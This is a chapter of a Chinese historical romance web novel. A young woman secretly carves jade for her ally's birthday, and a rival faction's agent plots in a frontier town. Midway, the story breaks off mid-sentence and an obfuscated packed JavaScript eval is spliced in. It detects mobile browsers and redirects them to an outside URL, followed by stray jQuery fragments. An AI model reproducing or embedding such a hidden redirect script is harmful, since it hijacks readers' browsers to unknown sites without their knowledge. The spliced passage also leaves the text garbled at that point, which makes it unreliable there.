匆忙跑回屋里，她就着茶水压住心里泛起的邪火，她不对劲，不不不，是越瑾很不对劲，从牢里出来还生人勿近，今日像是变了一个人
撑着双颊的掌心被滚烫的热意熏的通红，过了许久才平静下那颗扑通直跳的心脏
“姑娘，我听说下下月二十是姑爷的生辰”一个悄悄的声音在她耳边响起，青枝不知何时在身旁，像是等了她许久
“恩?”
她反应过来说了什么，思索片刻
青枝被向明透露，忙不迭地告诉晏保宁这个小道消息，她已经完全接受了这个新姑爷，而且越来越觉得两人般配，唯独两人都不开窍
“还有两月，你急什么?”
青枝不赞同道
“每年姑娘过生辰，可是提前三月便央求老爷夫人提前想好生辰贺礼，要是用心准备，两月将将好”
说得在理，可也说了是给自己过生辰才如此重视，她和越瑾还没到挚交好友的程度，不至于如此重视
“吩咐厨娘到时候做碗长寿面给他”晏保宁头也没抬
“这就没了?”
“再包个红封给他?”
她生辰时反正也会收阿爹阿娘厚厚的红封，寓意新的一岁不愁吃不愁花，而且在洁洲，银钱来得可比什么珍奇有用的多
“还有呢?还有呢?”
青枝急不可耐想听到她想要的答案
“不然，要我要敲锣打鼓给他贺生辰吗?”说完在她凑近的脑门轻轻弹了一下
“姑娘是不是该准备个生辰贺礼啊，毕竟咱们寄人篱下”青枝循循善诱
“那就把那两件罗衫给他送过去，钱都花了不能浪费”
青枝扶额，看来她家姑娘不能来软的了，只能强硬地将人拖去库房
一路被半推半就拽到库房，这还是她第一次直观感受到自己从都城里带了多少东西过来
在堆积如山的箱子最上头有一个精致的小匣子摆放在最显眼的位置，她驻足垫脚将盒子取下，脑子里思索里头装了何物，大约记得是越表兄送来的贺礼
用帕子拂去薄土轻启，一对成色极好的羊脂玉躺在其中，玉的手感温柔，触之极为细腻，越久岐说这曾是姜皇后赐给他的
将东西收好带回到屋里，打发青枝去忙别的，晏保宁一个人坐在窗边托腮，望着远处山顶缭绕的雾气出神
这几日她睡得不安稳，半夜总是梦到越瑾失落的眼神望向他，然后想上前安慰两句，便会幽幽转醒，她对越瑾的态度从最初的无感甚至有些害怕，到如今竟添了可怜
可能是因为自己与家人感情深厚，而越瑾给她的感觉却是亲情缘单薄，四岁亲眼见着自己的母后死在眼前，周遭没有一人相信他说的话，就这样怀揣着恨意长大的孩子如何能不偏执，可人这一辈子难道要永远困于昨日?
又想到刚刚在府门外他的邀请，他们现在是盟友，这么长时间的相处，还共同经过大事件，应该算得上是朋友吧
她将羊脂玉，毒药方放在一处，定定看了许久，少女的心思总是百转千回，理智告诉她，她与越瑾只是合作关系，但......
晏保宁一向想到什么若是踌躇，那就选择去做，谁也不能保证事情结束时的好坏，摊开一张纸，笔尖游走，不一会一只青鸟跃然纸上
“我记得当时母亲带了一个匣子，里头装着些未雕的翠玉，你帮我找来，恩......再找些石料也一同拿来给我”
放下手中的画笔，晏保宁吩咐青枝找来她要的东西，叮叮哐哐捣鼓了一下午，午后的余阳衬得额头汗珠晶莹剔透
这几日一到晚膳后，晏保宁便没了影儿，前院里只传来石器与金属碰撞的清脆声响，越瑾终于没忍住，在她又要开溜时一把将人拉住
“手上这些伤是怎么回事?”
明明是关心，却带着不容辩驳的强硬
晏保宁五指攥了攥，想从他箍紧的缝隙里挣脱，打着烛火雕玉，又是个新手，不时就会磕着碰着
“我想自己做个砚台，让人找了几块石料练练手”
越瑾没说信，也没说不信，将人拉在原地，姿势一动不动，反倒是晏保宁心虚
“我可没骗你，不信我把练废的石头都拿给你瞧就好了”
冰凉的药膏在温热的手心化开，不知他从哪里掏出小瓷瓶，像是捧着珍贵的宝物，一板一眼地为她的手上药
晏保宁浑身紧绷，他们何时到了这般亲密的程度，事态的发展有些不受控制，细细麻麻的触感从手心传入脊背，惹得人心痒痒
越瑾手上的动作很快，左手上的伤痕都布满了均匀的药膏，将瓷瓶在桌边，他温声道
“夜里烛火伤眼，不急，慢慢做就是”
晏保宁几乎是下意识反驳
“急的，很急”
“是我雕功不好，我想等孩子们暑休时给他们一人做一个小砚台，方便他们带回去习字”
这话也不算说谎，为了提高自己雕玉能力且不浪费练手的原料，她想好拿质软的石料给孩子们一人雕一个小砚台
越瑾不轻不重在她手指按了一下，似是不满
“晏先生学生众多，倒是都一视同仁”
“那是当然”
他的话是在夸奖自己，晏保宁甚至有些骄傲，越瑾微微摇头，继续帮她上药
日子过得飞快，不过是一月光景，晏保宁雕刻技术手拿把掐，两日便能做好一方砚台，甚至能在旁较为娴熟地雕出花来，终于能在玉料上开始雕刻
西北暑气来得迅猛，晚上开窗只用小被盖着肚子熟睡，也能热醒好几回
学堂里也是，孩子们热得一个个耷拉着头，往日只需教一遍，解释一遍他们便能自行理解的诗词文章，任凭晏保宁使出九牛二虎之力，还是摇头表示理解不了
“从今日起便开始暑休，古人有云天将降大任于斯人也，必先苦其心志，劳其筋骨......”
没等晏保宁说完，平日活泼的几个孩子立刻应声
“知道了，先生，天热我们也会日日温故，不会将学问丢掉的”
随即便引来大家一致称是，晏保宁失笑，她想起小时候自己也喜欢读书，但先生说休假，她比谁都开心
将准备好的小砚台一人一个，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763929|190171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孩子们高高兴兴地散学去，她也踩着余阳慢慢踱步回府
与此同时，刑部来人几乎和户部官员同时到达洁洲，越瑾派人在城外等候，马车刚停至城门里头的人便迫不及待蹲在一旁草丛吐起酸水来
“呕......你们先去，我随后就来”
那人顺着气摆手让等着他的同僚先行一步，自己随后赶到
“苏大人到底是细皮嫩肉，此番路途为难你了”
每年刑部的空缺总是最后填满，中举的仕子都想去户部任职，这些刑部老官员看不上只会打算盘珠子的，说话没个忌惮
苏宿只陪着笑，面色苍白地目送马车驶向城中，等到周遭无人，他转而立刻换了面孔，哪有一点晕车的样子
“大家都第一次来西北，不留下个引路人给他，怕是会迷路”
另一名户部主事担忧道，只是对坐两人不以为意
“都是我朝疆土，小小城池，打问着不就到了，陛下亲命，要我们提点完毕即刻回去复命，如何能耽搁等他”
刑部的事的确更为要紧，只好作罢
苏宿熟练地穿过大街小巷，在洁洲城最大的酒楼摘星楼停步，四处打量一番径步入内，两旁正揽客的小厮见来人，立刻通知掌柜，掌柜忙朝着食客作揖，连声赔罪，不一会摘星楼便打了烊
“老爷如何吩咐?”
“按兵不动，切勿自己乱了阵脚”
苏宿抬手让除了掌柜之外的人都退了出去，低声道
“老爷说了，他们要查，便丢出几块肥肉，成大事者有舍有得”
掌柜意有踌躇
“可少爷那边说了，户部查多少，我们三年内得补多少，您知道的自从五皇子来了之后，我们行事畏手畏脚，山里的人都撤了出来，除了这几个与都城无联系的酒楼商铺，其余的怕是都要被查去，若是再放几块肥肉出去......”
苏宿不耐
“姜家还是老爷当家，人撤了还可以再布，眼皮子怎如此浅”
被狠狠一通说教的掌柜只敢怒不敢言，他给姜家在西北守着产业十几年，谁知老家主和新家主命令两模两样，为难他一个下人，不过既然户部来人里有姜家自己人，他听命令就是
“但凭公子吩咐”
苏宿不宜久留，再嘱咐几句便要离去，突而想到什么，转头问询
“晏家嫁过来的那个女子，你所知多少?”
他此次主动向老家主请缨来此，一方面是确保此次户部之行不给姜家带来沉重打击，一方面是如果可以，他想替姜暮晴出口恶气，若不是晏保宁，再过几年等他功成名就后便可以提亲，偏偏因为她...
“晏家姑娘来的日子不久，我所知也不多，不过她于五皇子的确算是助力”
掌柜实话实说
“哦?”他轻蔑道
“是这样的，晏家姑娘帮着五皇子在城郊建了学堂当先生，为他得了不少民心，平日里也帮扶百姓，名声不错”
“沽名钓誉之辈罢了”
怎比得上他心中人，只是此生他的机会渺茫，思即此，难掩眼中仇恨的怒火